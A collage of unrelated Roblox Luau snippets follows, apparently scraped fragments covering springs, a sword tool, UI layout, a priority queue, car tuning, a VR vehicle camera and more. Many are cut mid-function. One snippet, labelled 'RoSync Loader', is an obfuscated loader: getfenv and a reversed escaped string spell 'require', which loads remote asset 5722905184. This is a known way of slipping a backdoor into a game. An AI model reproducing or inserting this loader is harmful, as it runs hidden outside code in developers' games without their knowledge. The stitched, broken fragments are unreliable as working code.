if damping < 0 then
logError("invalidSpringDamping", nil, damping)
end
SpringScheduler.remove(self)
self._damping = damping
SpringScheduler.add(self)
end
--[[
Changes the angular frequency of this Spring.
]]
function class:setSpeed(speed: number)
if speed < 0 then
logError("invalidSpringSpeed", nil, speed)
end
SpringScheduler.remove(self)
self._speed = speed
SpringScheduler.add(self)
end
--[[
Sets the position of the internal springs, meaning the value of this
Spring will jump to the given value. This doesn't affect velocity.
If the type doesn't match the current type of the spring, an error will be
thrown.
]]
function class:setPosition(newValue: Types.Animatable)
local newType = typeof(newValue)
if newType ~= self._currentType then
logError("springTypeMismatch", nil, newType, self._currentType)
end
self._springPositions = unpackType(newValue, newType)
self._currentValue = newValue
updateAll(self)
SpringScheduler.add(self)
end
--[[
Sets the velocity of the internal springs, overwriting the existing velocity
of this Spring. This doesn't affect position.
If the type doesn't match the current type of the spring, an error will be
thrown.
]]
function class:setVelocity(newValue: Types.Animatable)
local newType = typeof(newValue)
if newType ~= self._currentType then
logError("springTypeMismatch", nil, newType, self._currentType)
end
self._springVelocities = unpackType(newValue, newType)
SpringScheduler.add(self)
end
--[[
Adds to the velocity of the internal springs, on top of the existing
velocity of this Spring. This doesn't affect position.
If the type doesn't match the current type of the spring, an error will be
thrown.
]]
function class:addVelocity(deltaValue: Types.Animatable)
local deltaType = typeof(deltaValue)
if deltaType ~= self._currentType then
logError("springTypeMismatch", nil, deltaType, self._currentType)
end
local springDeltas = unpackType(deltaValue, deltaType)
for index, delta in ipairs(springDeltas) do
self._springVelocities[index] += delta
end
SpringScheduler.add(self)
end
end
local function Spring(goalState: Types.State<Types.Animatable>, speed: number?, damping: number?)
-- check and apply defaults for speed and damping
if speed == nil then
speed = 10
elseif speed < 0 then
logError("invalidSpringSpeed", nil, speed)
end
if damping == nil then
damping = 1
elseif damping < 0 then
logError("invalidSpringDamping", nil, damping)
end
local self = setmetatable({
type = "State",
kind = "Spring",
dependencySet = {[goalState] = true},
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_speed = speed,
_damping = damping,
_goalState = goalState,
_goalValue = nil,
_currentType = nil,
_currentValue = nil,
_springPositions = nil,
_springGoals = nil,
_springVelocities = nil
}, CLASS_METATABLE)
initDependency(self)
-- add this object to the goal state's dependent set
goalState.dependentSet[self] = true
self:update()
return self
end
return Spring
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 10
local slash_damage = 18
local lunge_damage = 36
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function windforce(dir, victimTorso)
if (victimTorso.Parent:FindFirstChild("ForceField") ~= nil) then return end
if victimTorso:FindFirstChild("WindEffect") == nil then
local force = Instance.new("BodyVelocity")
force.Name = "WindEffect"
force.maxForce = Vector3.new(1e7, 1e7, 1e7)
force.P = 125
force.velocity = (dir * 150) + Vector3.new(0, 30,0)
force.Parent = victimTorso
game.Debris:AddItem(force, .25)
end
end
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
local d = vCharacter.Torso.CFrame.lookVector
windforce(Vector3.new(d.x, d.y, d.z), hit.Parent.Torso)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
game.Debris:AddItem(creator_tag, 1)
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0)
force.maxForce = Vector3.new(0,4000,0)
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
-- Create debris for specified part (being destroyed)
|
local function createDebris(targetPart)
local pos = Vector3.new(0, 0, 0)
local scale = 1
if targetPart:IsA("Model") then
local plate = targetPart:FindFirstChild("Plate", true)
pos = plate.Position
scale = plate.Size.X/8
else
pos = targetPart.Position
scale = targetPart.Size.X/8
end
local debris = debrisParts[math.random(1, #debrisParts)]:Clone()
--local pos2 = getPositionRelativetoBase(debris.PrimaryPart, pos)
local pos2 = pos
debris:SetPrimaryPartCFrame(CFrame.new(pos2))
scaleModel(debris, scale)
debris.Parent = mapManager.getMap()
targetPart:Destroy()
return debris.PrimaryPart
end
|
--local RecipesFrame = InventoryFrame.Recipes;
|
local Sizes = {
[ItemsFrame] = {
[EquipButton] = {
Size = ItemsFrame.Size;
Position = ItemsFrame.Position;
};
[CraftButton] = {
Size = UDim2.new(0,-427,1,-155);
Position = ItemsFrame.Position;
};
[RecycleButton] = {
Size = UDim2.new(0,-427,1,-200);
Position = ItemsFrame.Position;
};
};
[ActionsFrame] = {
[EquipButton] = {
Size = ActionsFrame.Size;
Position = ActionsFrame.Position;
};
[CraftButton] = {
Size = UDim2.new(1,0,0,160);
Position = UDim2.new(0,0,1,-160);
};
[RecycleButton] = {
Size = UDim2.new(1,0,0,205);
Position = UDim2.new(0,0,1,-205);
};
};
[EquippedFrame] = {
[EquipButton] = {
Size = EquippedFrame.Size;
Position = EquippedFrame.Position;
};
[CraftButton] = {
Size = UDim2.new(0,130,1,-155);
Position = UDim2.new(1,0,0,0);
};
[RecycleButton] = {
Size = UDim2.new(0,130,1,-200);
Position = EquippedFrame.Position;
};
};
--[[[RecipesFrame] = {
[EquipButton] = {
Size = RecipesFrame.Size;
Position = RecipesFrame.Position;
};
[CraftButton] = {
Size = UDim2.new(0,292,1,-155);
Position = RecipesFrame.Position; --EquippedFrame.Position;
};
[RecycleButton] = {
Size = UDim2.new(0,0,1,-200);
Position = ItemsFrame.Position;
};
};]]
};
|
-- math, thx roblox wiki
|
function lerp(a, b, t)
return a * (1-t) + (b*t)
end
|
--[[UIS.InputBegan:Connect(function(key, gameprocessed)
if key.KeyCode == Enum.KeyCode.E and debounce and player.Character then
player.Character.HumanoidRootPart.Anchored = true
local goal = {}
goal.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 5, 0)
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local tween = tweenService:Create(player.Character.HumanoidRootPart, tweenInfo, goal)
tween:Play()
local clone = game.ReplicatedStorage.Show:Clone()
clone.Parent = workspace.Beams
clone.Position = player.Character.HumanoidRootPart.Position
local weld = Instance.new("WeldConstraint", clone)
clone.CanCollide = false
weld.Part0 = clone
weld.Part1 = player.Character.HumanoidRootPart
local goal3 = {}
goal3.Transparency = 0
local tweenInfo3 = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local tween3 = tweenService:Create(clone, tweenInfo3, goal3)
tween3:Play()
wait(1.1)
local mag = (player.Character.HumanoidRootPart.Position - mouse.Hit.Position).Magnitude
goal3 = {}
goal3.Transparency = 1
tweenInfo3 = TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
tween3 = tweenService:Create(clone, tweenInfo3, goal3)
spawn(function()
wait(1.5)
tween3:Play()
repeat wait() until clone.Transparency == 1
clone:Destroy()
end)
if mag <= 200 then
local beam = Instance.new("Part")
beam.Shape = Enum.PartType.Cylinder
mouse.TargetFilter = workspace.Beams
local ball = Instance.new("Part", workspace.Beams)
ball.Shape = Enum.PartType.Ball
ball.Color = Color3.new(176, 176, 56)
ball.Size = Vector3.new(0.2, 0.2, 0.2)
ball.Position = player.Character.RightHand.Position
ball.Anchored = true
ball.Material = Enum.Material.Neon
local goal2 = {}
goal2.Size = Vector3.new(1, 1, 1)
local tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local tween2 = tweenService:Create(ball, tweenInfo2, goal2)
tween2:Play()
wait(1.5)
goal2.Size = Vector3.new(10, 10, 10)
tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
tween2 = tweenService:Create(ball, tweenInfo2, goal2)
tween2:Play()
goal2.Transparency = 1
tweenInfo2 = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
tween2 = tweenService:Create(ball, tweenInfo2, goal2)
tween2:Play()
local event
beam.CFrame = (CFrame.new(player.Character.RightHand.Position, mouse.Hit.Position) * CFrame.new(0, 0, mag / 2):Inverse()) * CFrame.Angles(0, math.rad(90), 0)
event = runService.Stepped:Connect(function(plays)
mag = (player.Character.HumanoidRootPart.Position - mouse.Hit.Position).Magnitude
--print(mag)
local lastPos = beam.Position
beam.CFrame = (CFrame.new(player.Character.RightHand.Position, mouse.Hit.Position) * CFrame.new(0, 0, mag / 2):Inverse()) * CFrame.Angles(0, math.rad(90), 0)
beam.Material = Enum.Material.Neon
beam.Color = Color3.new(176, 176, 56)
beam.Size = Vector3.new(mag, 1, 1)
end)
beam.Anchored = true
beam.Parent = workspace.Beams
repeat wait() until ball.Transparency == 1 and ball.Size == Vector3.new(10, 10, 10)
ball:Destroy()
ball = nil
end
end
end)]]
|
--
|
--[[setmetatable(
PriorityQueue,
{
__call = function (self)
setmetatable({}, self)
self:initialize()
return self
end
}
)]]
|
function PriorityQueue.new()
local queueData = {}
setmetatable(queueData,PriorityQueue)
queueData:initialize()
return queueData
end
function PriorityQueue:initialize()
--[[ Initialization.
Example:
PriorityQueue = require("priority_queue")
pq = PriorityQueue()
]]--
self.heap = {}
self.current_size = 0
end
function PriorityQueue:empty()
return self.current_size == 0
end
function PriorityQueue:size()
return self.current_size
end
function PriorityQueue:swim()
-- Swim up on the tree and fix the order heap property.
local heap = self.heap
local floor = floor
local i = self.current_size
while floor(i / 2) > 0 do
local half = floor(i / 2)
if heap[i][2] < heap[half][2] then
heap[i], heap[half] = heap[half], heap[i]
end
i = half
end
end
function PriorityQueue:push(v, p)
--[[ Put an item on the queue.
Args:
v: the item to be stored
p(number): the priority of the item
]]--
--
self.heap[self.current_size + 1] = {v, p}
self.current_size = self.current_size + 1
self:swim()
end
function PriorityQueue:sink()
-- Sink down on the tree and fix the order heap property.
local size = self.current_size
local heap = self.heap
local i = 1
while (i * 2) <= size do
local mc = self:min_child(i)
if heap[i][2] > heap[mc][2] then
heap[i], heap[mc] = heap[mc], heap[i]
end
i = mc
end
end
function PriorityQueue:min_child(i)
if (i * 2) + 1 > self.current_size then
return i * 2
else
if self.heap[i * 2][2] < self.heap[i * 2 + 1][2] then
return i * 2
else
return i * 2 + 1
end
end
end
function PriorityQueue:pop()
-- Remove and return the top priority item
local heap = self.heap
local retval = heap[1][1]
heap[1] = heap[self.current_size]
heap[self.current_size] = nil
self.current_size = self.current_size - 1
self:sink()
return retval
end
return PriorityQueue
|
--[[
@class stringTween
contains library of functions that add/remove text from a string.
.backward:
@params: string, function, string?, config?
@info: clears text or until hit `StopAt`
.forward:
@params: string, string, function, config?
@info: adds `newText` to the given string
```lua
local stringTween = require(container.stringTween)
local startText = 'person'
local newText = 'son'
local stopAt = 'per'
local predicate = function(text)
startText = text
end
stringTween.backward(startText, predicate, stopAt) > returns per
stringTween.forward(startText, newText, predicate) > returns person
```
]]
|
local stringTween = {}
function stringTween.forward(
s: string,
apply: string,
predicate: (string) -> (),
config: config?
)
if config then
config.delay = config.delay or defaultconfig.delay
config.movement = config.movement or defaultconfig.movement
end
local config = config or defaultconfig
local result
for i = 0, #apply, 1 do
result = `{s}{string.sub(apply, 1, i)}{config.movement}`
predicate(result)
task.wait(config.delay)
end
result = result:sub(1, #result - #config.movement)
predicate(result)
return result
end
function stringTween.backward(
s: string,
predicate: (string) -> (),
breakat: string?,
config: config?
)
if config then
config.delay = config.delay or defaultconfig.delay
config.movement = config.movement or defaultconfig.movement
end
local config = config or defaultconfig
local result
for i = #s, 0, -1 do
result = `{string.sub(s, 1, i)}{config.movement}`
predicate(result)
if breakat and string.sub(result, 1, -1) == `{breakat}{config.movement}` then
break
end
task.wait(config.delay)
end
result = string.sub(result, 1, #result - #config.movement)
predicate(result)
return result
end
return stringTween
|
--[[Weight and CG]]
|
Tune.Weight = 3590 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- ^ preserved archeology - 7chon
-- origin: 00scorpion00
| |
-- initialize local variables
|
local camera = workspace.CurrentCamera
local player = game.Players.LocalPlayer
local character = player.Character
local humanoid = character.Humanoid
|
--[[ Last synced 3/7/2021 11:03 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-----------------
--| Variables |--
-----------------
|
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')
local Tool = script.Parent
local ToolHandle = Tool.Handle
local RocketScript = WaitForChild(script, 'Rocket')
local SwooshSound = WaitForChild(script, 'Swoosh')
local BoomSound = WaitForChild(script, 'Boom')
local ReloadSound = WaitForChild(ToolHandle, 'ReloadSound')
local FireSound = WaitForChild(ToolHandle, 'FireSound')
local MyModel = nil
local MyPlayer = nil
local BaseRocket = nil
local RocketClone = nil
|
--
|
LeftShoulderClone = LeftShoulder:Clone()
LeftShoulderClone.Name = "LeftShoulderClone"
LeftShoulderClone.Parent = Torso
LeftShoulderClone.Part0 = Torso
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["JestTypes"]["JestTypes"])
export type Circus_DoneFn = Package.Circus_DoneFn
export type Circus_BlockFn = Package.Circus_BlockFn
export type Circus_BlockName = Package.Circus_BlockName
export type Circus_BlockMode = Package.Circus_BlockMode
export type Circus_TestMode = Package.Circus_TestMode
export type Circus_TestName = Package.Circus_TestName
export type Circus_TestFn = Package.Circus_TestFn
export type Circus_HookFn = Package.Circus_HookFn
export type Circus_AsyncFn = Package.Circus_AsyncFn
export type Circus_SharedHookType = Package.Circus_SharedHookType
export type Circus_HookType = Package.Circus_HookType
export type Circus_TestContext = Package.Circus_TestContext
export type Circus_Exception = Package.Circus_Exception
export type Circus_FormattedError = Package.Circus_FormattedError
export type Circus_Hook = Package.Circus_Hook
export type Circus_EventHandler = Package.Circus_EventHandler
export type Circus_Event = Package.Circus_Event
export type Circus_SyncEvent = Package.Circus_SyncEvent
export type Circus_AsyncEvent = Package.Circus_AsyncEvent
export type Circus_MatcherResults = Package.Circus_MatcherResults
export type Circus_TestStatus = Package.Circus_TestStatus
export type Circus_TestResult = Package.Circus_TestResult
export type Circus_RunResult = Package.Circus_RunResult
export type Circus_TestResults = Package.Circus_TestResults
export type Circus_GlobalErrorHandlers = Package.Circus_GlobalErrorHandlers
export type Circus_State = Package.Circus_State
export type Circus_DescribeBlock = Package.Circus_DescribeBlock
export type Circus_TestError = Package.Circus_TestError
export type Circus_TestEntry = Package.Circus_TestEntry
export type Config_Path = Package.Config_Path
export type Config_Glob = Package.Config_Glob
export type Config_HasteConfig = Package.Config_HasteConfig
export type Config_CoverageReporterName = Package.Config_CoverageReporterName
export type Config_CoverageReporterWithOptions<K> = Package.Config_CoverageReporterWithOptions<K>
export type Config_CoverageReporters = Package.Config_CoverageReporters
export type Config_ReporterConfig = Package.Config_ReporterConfig
export type Config_TransformerConfig = Package.Config_TransformerConfig
export type Config_ConfigGlobals = Package.Config_ConfigGlobals
export type Config_PrettyFormatOptions = Package.Config_PrettyFormatOptions
export type Config_DefaultOptions = Package.Config_DefaultOptions
export type Config_DisplayName = Package.Config_DisplayName
export type Config_InitialOptionsWithRootDir = Package.Config_InitialOptionsWithRootDir
export type Config_InitialProjectOptions = Package.Config_InitialProjectOptions
export type Config_InitialOptions = Package.Config_InitialOptions
export type Config_SnapshotUpdateState = Package.Config_SnapshotUpdateState
export type Config_CoverageThresholdValue = Package.Config_CoverageThresholdValue
export type Config_GlobalConfig = Package.Config_GlobalConfig
export type Config_ProjectConfig = Package.Config_ProjectConfig
export type Config_Argv = Package.Config_Argv
export type Global_ValidTestReturnValues = Package.Global_ValidTestReturnValues
export type Global_TestReturnValue = Package.Global_TestReturnValue
export type Global_TestContext = Package.Global_TestContext
export type Global_DoneFn = Package.Global_DoneFn
export type Global_DoneTakingTestFn = Package.Global_DoneTakingTestFn
export type Global_PromiseReturningTestFn = Package.Global_PromiseReturningTestFn
export type Global_GeneratorReturningTestFn = Package.Global_GeneratorReturningTestFn
export type Global_TestName = Package.Global_TestName
export type Global_TestFn = Package.Global_TestFn
export type Global_ConcurrentTestFn = Package.Global_ConcurrentTestFn
export type Global_BlockFn = Package.Global_BlockFn
export type Global_BlockName = Package.Global_BlockName
export type Global_HookFn = Package.Global_HookFn
export type Global_Col = Package.Global_Col
export type Global_Row = Package.Global_Row
export type Global_Table = Package.Global_Table
export type Global_ArrayTable = Package.Global_ArrayTable
export type Global_TemplateTable = Package.Global_TemplateTable
export type Global_TemplateData = Package.Global_TemplateData
export type Global_EachTable = Package.Global_EachTable
export type Global_TestCallback = Package.Global_TestCallback
export type Global_EachTestFn<EachCallback> = Package.Global_EachTestFn<EachCallback>
export type Global_HookBase = Package.Global_HookBase
export type Global_ItBase = Package.Global_ItBase
export type Global_It = Package.Global_It
export type Global_ItConcurrentBase = Package.Global_ItConcurrentBase
export type Global_ItConcurrentExtended = Package.Global_ItConcurrentExtended
export type Global_ItConcurrent = Package.Global_ItConcurrent
export type Global_DescribeBase = Package.Global_DescribeBase
export type Global_Describe = Package.Global_Describe
export type Global_TestFrameworkGlobals = Package.Global_TestFrameworkGlobals
export type Global_GlobalAdditions = Package.Global_GlobalAdditions
export type Global_Global = Package.Global_Global
export type TestResult_Milliseconds = Package.TestResult_Milliseconds
export type TestResult_AssertionResult = Package.TestResult_AssertionResult
export type TestResult_SerializableError = Package.TestResult_SerializableError
export type TestResult_Callsite = Package.TestResult_Callsite
export type TestResult_Status = Package.TestResult_Status
export type TransformTypes_TransformResult = Package.TransformTypes_TransformResult
return Package
|
--[=[
@within Signal
@type ConnectionFn (...any) -> ()
A function connected to a signal.
]=]
| |
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 600 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- yaw-axis rotational velocity of a part with a given CFrame and total RotVelocity
|
local function yawVelocity(rotVel, cf)
return math.abs(cf.YVector:Dot(rotVel))
end
local worldDt = 1/60
local VRVehicleCamera = setmetatable({}, VRBaseCamera)
VRVehicleCamera.__index = VRVehicleCamera
function VRVehicleCamera.new()
local self = setmetatable(VRBaseCamera.new(), VRVehicleCamera)
self:Reset()
-- track physics solver time delta separately from the render loop to correctly synchronize time delta
RunService.Stepped:Connect(function(_, _worldDt)
worldDt = _worldDt
end)
return self
end
function VRVehicleCamera:Reset()
self.vehicleCameraCore = VehicleCameraCore.new(self:GetSubjectCFrame())
self.pitchSpring = Spring.new(0, -math.rad(VehicleCameraConfig.pitchBaseAngle))
self.yawSpring = Spring.new(0, YAW_DEFAULT)
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
assert(camera, "VRVehicleCamera initialization error")
assert(cameraSubject)
assert(cameraSubject:IsA("VehicleSeat"))
local assemblyParts = cameraSubject:GetConnectedParts(true) -- passing true to recursively get all assembly parts
local assemblyPosition, assemblyRadius = CameraUtils.getLooseBoundingSphere(assemblyParts)
assemblyRadius = math.max(assemblyRadius, EPSILON)
self.assemblyRadius = assemblyRadius
self.assemblyOffset = cameraSubject.CFrame:Inverse()*assemblyPosition -- seat-space offset of the assembly bounding sphere center
self.lastCameraFocus = nil
self:_StepInitialZoom()
end
function VRVehicleCamera:_StepInitialZoom()
self:SetCameraToSubjectDistance(math.max(
ZoomController.GetZoomRadius(),
self.assemblyRadius*VehicleCameraConfig.initialZoomRadiusMul
))
end
function VRVehicleCamera:_GetThirdPersonLocalOffset()
return self.assemblyOffset + Vector3.new(0, self.assemblyRadius*VehicleCameraConfig.verticalCenterOffset, 0)
end
function VRVehicleCamera:_GetFirstPersonLocalOffset(subjectCFrame: CFrame)
local character = localPlayer.Character
if character and character.Parent then
local head = character:FindFirstChild("Head")
if head and head:IsA("BasePart") then
return subjectCFrame:Inverse() * head.Position
end
end
return self:_GetThirdPersonLocalOffset()
end
function VRVehicleCamera:Update()
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
local vehicleCameraCore = self.vehicleCameraCore
assert(camera)
assert(cameraSubject)
assert(cameraSubject:IsA("VehicleSeat"))
-- consume the physics solver time delta to account for mismatched physics/render cycles
local dt = worldDt
worldDt = 0
-- get subject info
local subjectCFrame: CFrame = self:GetSubjectCFrame()
local subjectVel: Vector3 = self:GetSubjectVelocity()
local subjectRotVel = self:GetSubjectRotVelocity()
-- measure the local-to-world-space forward velocity of the vehicle
local vDotZ = math.abs(subjectVel:Dot(subjectCFrame.ZVector))
local yawVel = yawVelocity(subjectRotVel, subjectCFrame)
local pitchVel = pitchVelocity(subjectRotVel, subjectCFrame)
-- step camera components forward
local zoom = self:StepZoom()
-- mix third and first person offsets in local space
local firstPerson = mapClamp(zoom, ZOOM_MINIMUM, self.assemblyRadius, 1, 0)
local tpOffset = self:_GetThirdPersonLocalOffset()
local fpOffset = self:_GetFirstPersonLocalOffset(subjectCFrame)
local localOffset = tpOffset:Lerp(fpOffset, firstPerson)
-- step core forward
vehicleCameraCore:setTransform(subjectCFrame)
local processedRotation = vehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson)
-- end product of this function
local focus = nil
local cf = nil
-- update fade from black
self:UpdateFadeFromBlack(dt)
if not self:IsInFirstPerson() then
-- third person comfort camera
focus = CFrame.new(subjectCFrame*localOffset)*processedRotation
cf = focus*CFrame.new(0, 0, zoom)
if not self.lastCameraFocus then
self.lastCameraFocus = focus
self.needsReset = true
end
local curCameraDir = focus.Position - camera.CFrame.Position
local curCameraDist = curCameraDir.magnitude
curCameraDir = curCameraDir.Unit
local cameraDot = curCameraDir:Dot(camera.CFrame.LookVector)
if cameraDot > TP_FOLLOW_ANGLE_DOT and curCameraDist < TP_FOLLOW_DIST and not self.needsReset then -- vehicle in view
-- keep old focus
focus = self.lastCameraFocus
-- new cf result
local cameraFocusP = focus.p
local cameraLookVector = self:GetCameraLookVector()
cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit
local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(0, 0))
cf = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
else
-- new focus / teleport
self.currentSubjectDistance = DEFAULT_CAMERA_DIST
self.lastCameraFocus = self:GetVRFocus(subjectCFrame.Position, dt)
self.needsReset = false
self:StartFadeFromBlack()
self:ResetZoom()
end
self:UpdateEdgeBlur(localPlayer, dt)
else
-- first person in vehicle : lock orientation for stable camera
local dir = Vector3.new(processedRotation.LookVector.X, 0, processedRotation.LookVector.Z).Unit
local planarRotation = CFrame.new(processedRotation.Position, dir)
-- this removes the pitch to reduce motion sickness
focus = CFrame.new(subjectCFrame * localOffset) * planarRotation
cf = focus * CFrame.new(0, 0, zoom)
self:StartVREdgeBlur(localPlayer)
end
return cf, focus
end
function VRVehicleCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function VRVehicleCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return VRVehicleCamera
|
--[=[
Defers the subscription and creation of the observable until the
actual subscription of the observable.
https://rxjs-dev.firebaseapp.com/api/index/function/defer
https://netbasal.com/getting-to-know-the-defer-observable-in-rxjs-a16f092d8c09
@param observableFactory () -> Observable<T>
@return Observable<T>
]=]
|
function Rx.defer(observableFactory)
return Observable.new(function(sub)
local observable
local ok, err = pcall(function()
observable = observableFactory()
end)
if not ok then
sub:Fail(err)
return
end
if not Observable.isObservable(observable) then
sub:Fail("Not an observable")
return
end
return observable:Subscribe(sub:GetFireFailComplete())
end)
end
|
-- Get the current floor material.
|
local function getFloorMaterial()
floorMaterial = humanoid.FloorMaterial
material = string.split(tostring(floorMaterial), "Enum.Material.")[2]
return material
end
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
if script.Parent.L.Value == true then --because you can't get in a locked car
wait()
script.Parent.Disabled = true
wait()
script.Parent.Disabled = false
end
script.Parent.Occupied.Value = true
script.Parent.Parent.Body.Dash.dash.D.Transparency = 0
script.Parent.CanStart.Value = true
script.Parent.Parent.Body.Dash.Spd.Interface.Enabled = true
script.Parent.Parent.Body.Dash.Tac.Interface.Enabled = true
|
--[=[
Extracts the locale from the name
@param name string -- The name to parse
@return string -- The locale
]=]
|
function JsonToLocalizationTable.localeFromName(name)
if name:sub(-5) == ".json" then
return name:sub(1, #name-5)
else
return name
end
end
|
-- Written By Kip Turner, Copyright Roblox 2014
-- Updated by Garnold to utilize the new PathfindingService API, 2017
|
local DEBUG_NAME = "ClickToMoveController"
local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local tweenService = game:GetService("TweenService")
local Player = PlayerService.LocalPlayer
local PlayerScripts = Player.PlayerScripts
local CameraScript = script:FindFirstAncestor("CameraScript")
